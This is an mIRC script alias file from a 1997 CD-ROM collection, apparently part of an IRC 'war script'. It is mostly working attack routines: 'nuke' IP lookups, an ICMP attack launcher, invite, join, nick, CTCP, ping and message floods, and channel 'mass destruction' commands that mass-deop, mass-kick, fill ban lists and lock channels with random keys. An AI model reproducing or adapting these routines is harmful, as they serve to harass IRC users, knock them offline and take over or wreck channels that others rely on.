home *** CD-ROM | disk | FTP | other *** search
/ PC World Interactive 4 / PC World Interactive 4.iso / share / internet / LSMIRC61.EXE / falias.in_ / falias.in
INI File  |  1997-09-20  |  7KB  |  211 lines
  1. [aliases]
  2. n0=;           this section contains aliases used for flood routines
  3. n1=;           and destruction type parts of the popups
  4. n2=;
  5. n3=getnukeinfo {
  6. n4=  altech -a %dis1 $+ Retrieving info needed to nuke $$1 $+ ...
  7. n5=  set %ady $right($a2($$1),$calc($len($a2($$1)) - 4))
  8. n6=  if ($isnumericip(%ady)) { echo -a %dis1 $+ IP: $+ %dis42 %ady }
  9. n7=  else { .enable #nukeinfoip | .disable #regdns | .dns $1 }
  10. n8=  .timer 1 1 getnukeserver $1
  11. n9=}
  12. n10=getnukeserver .enable #nukeinfoserver | whois $1
  13. n11=filterkick {
  14. n12=  amiopped $1
  15. n13=  %i = 1 | %tvfkcount = 0
  16. n14=  :nx
  17. n15=  inc %i
  18. n16=  set %temp [ $ $+ [ %i ] ]
  19. n17=  if %temp != $null {
  20. n18=    %m = 0
  21. n19=    :nextnick
  22. n20=    inc %m
  23. n21=    set %nick $ialchan( [ *!*@* $+ [ %temp ] ] ,$1,%m).nick
  24. n22=    if (%nick != $null) {
  25. n23=      if (%tvfkallow) {
  26. n24=        if ($isfriend(%nick,$1)) goto nextnick
  27. n25=      }
  28. n26=      set %reason $readini $mircdiroptions\options.ini FilterReason %temp
  29. n27=      if %reason = $null {
  30. n28=        if (%tvfkban) set %reason %kickbanmsg
  31. n29=        else set %reason %kickmsg
  32. n30=      }
  33. n31=      if (%tvfkban) {
  34. n32=        if (%tvfkb [ $+ [ %temp ] ] != $true) {
  35. n33=          set %tvfkb [ $+ [ %temp ] ] $true
  36. n34=          mode $1 -o+b %nick *!*@* $+ %temp
  37. n35=          rtb *!*@* $+ %temp $1
  38. n36=        }
  39. n37=        elseif (%nick isop $1) mode $1 -o %nick
  40. n38=      }
  41. n39=      kick $1 %nick %reason
  42. n40=      inc %tvfkcount    
  43. n41=      goto nextnick
  44. n42=    }
  45. n43=    goto nx
  46. n44=  }    
  47. n45=  if %tvfkcount = 0 altech $1 %dis10 $+ Filter scan complete but no matches were found
  48. n46=  elseif %tvfkcount = 1 altech $1 %dis10 $+ Filter scan complete, kicked 1 person
  49. n47=  else altech $1 %dis10 $+ Filter can complete, kicked %tvfkcount people
  50. n48=  unset %tvfk*
  51. n49=}
  52. n50=showopnicks {
  53. n51=  :nx
  54. n52=  inc %i
  55. n53=  if $opnick(%i,%deopchan) != $null {
  56. n54=    if $opnick(%i,%deopchan) != $me set %lagnicks %lagnicks $opnick(%i,%deopchan)
  57. n55=    goto nx
  58. n56=  }
  59. n57=  dde $1- %lagnicks  
  60. n58=}
  61. n59=icmp set %tvicmpnick $1 | .enable #revenge | userhost $1
  62. n60=runicmp {
  63. n61=  altech -a %dis10 $+ ICMP initiated on $1
  64. n62=  run $mircdirbin\icmp.exe $mircdir $+ @ $+ $1
  65. n63=}
  66. n64=isnumericip {
  67. n65=  %m = -1
  68. n66=  :nx
  69. n67=  inc %m | if (*.*.*. [ $+ [ %m ] ] $+ * iswm $1) return $true
  70. n68=  if %m < 9 goto nx
  71. n69=  return $false
  72. n70=}
  73. n71=; return a random nick
  74. n72=rdnick {
  75. n73=  :pi
  76. n74=  set %rc $r(65,124) | if ((%rc isin 9296) || (%rc = 123)) goto pi
  77. n75=  %rnd = $chr(%rc)
  78. n76=  :px
  79. n77=  set %rc $r(48,124)
  80. n78=  if ((%rc isnum 58-64) || (%rc = 96) || (%rc = 123)) goto px
  81. n79=  set %rnd %rnd $+ $chr(%rc) | if $len(%rnd) < 9 goto px
  82. n80=  return %rnd
  83. n81=}
  84. n82=rdnick2 return %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ]
  85. n83=; return a random channel
  86. n84=rchan {
  87. n85=  set %ts $chr(35) | %num = $r(10,100)
  88. n86=  :nx
  89. n87=  set %num $r(48,124)
  90. n88=  if %num = 58 goto nx
  91. n89=  set %ts %ts $+ $chr(%num)
  92. n90=  if $len(%ts) < %num goto nx
  93. n91=  return %ts
  94. n92=}
  95. n93=; miscellaneous flood crap, nothing special
  96. n94=invflood set %rchan $rchan | j %rchan | invite $1 %rchan | .timer 1 3 part %rchan
  97. n95=jf join $1 | part $1
  98. n96=joinflood {
  99. n97=  .enable #nflood | %me = $me | .auser 70 $me | %fc = 0 | set %ch $2
  100. n98=  .timer $2 1 jf $1
  101. n99=}
  102. n100=cn {
  103. n101=  if (%getnick) cnick $rdnick
  104. n102=  else nick $rdnick
  105. n103=}
  106. n104=acn {
  107. n105=  if (%getnick) cnick $rdnick2
  108. n106=  else nick $rdnick2
  109. n107=}
  110. n108=nickflood {
  111. n109=  .enable #nflood | %me = $me | .auser 70 $me | %fc = 0 | set %ch $2
  112. n110=  if $1 = r .timer $2 1 cn
  113. n111=  else .timer $2 1 acn
  114. n112=}
  115. n113=sflood {
  116. n114=  pflood $1
  117. n115=  %f = 0
  118. n116=  :nx
  119. n117=  inc %f | c $1 | vn $1 | u $1 | ping $1
  120. n118=  if %f < 20 goto nx
  121. n119=}
  122. n120=rflood {
  123. n121=  pflood $1
  124. n122=  %f = 0
  125. n123=  :nx
  126. n124=  inc %f | ctcp $1 $2
  127. n125=  if %f < 20 goto nx
  128. n126=}
  129. n127=tflood pflood $1 | .timer 5 1 msg $1 $ranstring
  130. n128=pflood {
  131. n129=  if $a3($1) = $null .ignore -u200 $1
  132. n130=  else .ignore -u200 $a3($1)
  133. n131=  .flood 16 5 2 | .timer 1 60 .flood 3 3 30
  134. n132=}
  135. n133=dflood {
  136. n134=  set %l 0
  137. n135=  :nx
  138. n136=  inc %l | raw -q  privmsg $1 : $2- | if %l != 20 goto nx
  139. n137=}
  140. n138=; 
  141. n139=; next section deals with the "mass destruction" part of the channel popups
  142. n140=;
  143. n141=fillban {
  144. n142=  amiopped $1
  145. n143=  %i = 0 | %bans = ""
  146. n144=  :nx
  147. n145=  inc %i
  148. n146=  if %i > 21 halt
  149. n147=  %bans = %bans *!*@ $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z)
  150. n148=  if %maxmodes // %i { mode $1 +bbbb %bans | %bans = "" }
  151. n149=  goto nx
  152. n150=}
  153. n151=deopall {
  154. n152=  if $1 = $null { altech -a %dis10 $+ You can't mass deop if you're not on a channel! | dh }
  155. n153=  amiopped $1
  156. n154=  if $opnick($1,0) = 0 { altech -a %dis10 $+ There are no ops on $1 $+ ! | dh }
  157. n155=  if (($opnick($1,0) = 1) && ($me isop $1)) { altech -a %dis10 $+ You are the only op on $1 $+ ! | dh }
  158. n156=  %i = 0 | %nicks = ""
  159. n157=  :nx
  160. n158=  inc %i
  161. n159=  if $opnick($1,%i) = $null { if $len(%nicks) > 0 mode $1 -oooo %nicks | halt }
  162. n160=  if $opnick($1,%i) != $me set %nicks %nicks $opnick($1,%i)
  163. n161=  if %maxmodes // %i { mode $1 -oooo %nicks | %nicks = "" }
  164. n162=  goto nx
  165. n163=}
  166. n164=mkick {
  167. n165=  if $1 = $null { altech -a %dis10 $+ You can't mass kick if you're not on a channel! | dh }
  168. n166=  amiopped $1
  169. n167=  %i = 0
  170. n168=  :nx
  171. n169=  inc %i
  172. n170=  if $opnick($1,%i) != $me {
  173. n171=    if (($2 = all) || ($gl($opnick($1,%i)) < 19)) kick $1 $opnick($1,%i) %kickmsg
  174. n172=  }
  175. n173=  if %i < $opnick($1,0) goto nx
  176. n174=  %i = 0
  177. n175=  :nw
  178. n176=  inc %i
  179. n177=  if (($2 = all) || ($gl($nopnick($1,%i)) < 19)) kick $1 $nopnick($1,%i) %kickmsg
  180. n178=  if %i < $nopnick($1,0) goto nw
  181. n179=}
  182. n180=; is there no timer running for the specified timer #?
  183. n181=; lets see how many scripts utilize something like after this is released...
  184. n182=notimer {
  185. n183=  %m = 0
  186. n184=  :nx
  187. n185=  inc %m
  188. n186=  if $timer(%m) != $null {
  189. n187=    if $timer(%m) = $1 return $false
  190. n188=    goto nx
  191. n189=  }
  192. n190=  return $true
  193. n191=}
  194. n192=havetimer {
  195. n193=  %k = 0
  196. n194=  :nx
  197. n195=  inc %k
  198. n196=  if $timer(%k) != $null {
  199. n197=    if $timer(%k) = $1 return $true
  200. n198=    goto nx
  201. n199=  }
  202. n200=  return $false
  203. n201=}
  204. n202=rk {
  205. n203=  if $me isop $1 {
  206. n204=    if $chan($1).key != $null mode $1 -k $chan($1).key
  207. n205=    mode $1 +k $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z)
  208. n206=  }
  209. n207=  else { altech -a %dis10 $+ You are no longer an op on $1 | Random key halted | unlock $1 }     
  210. n208=}
  211.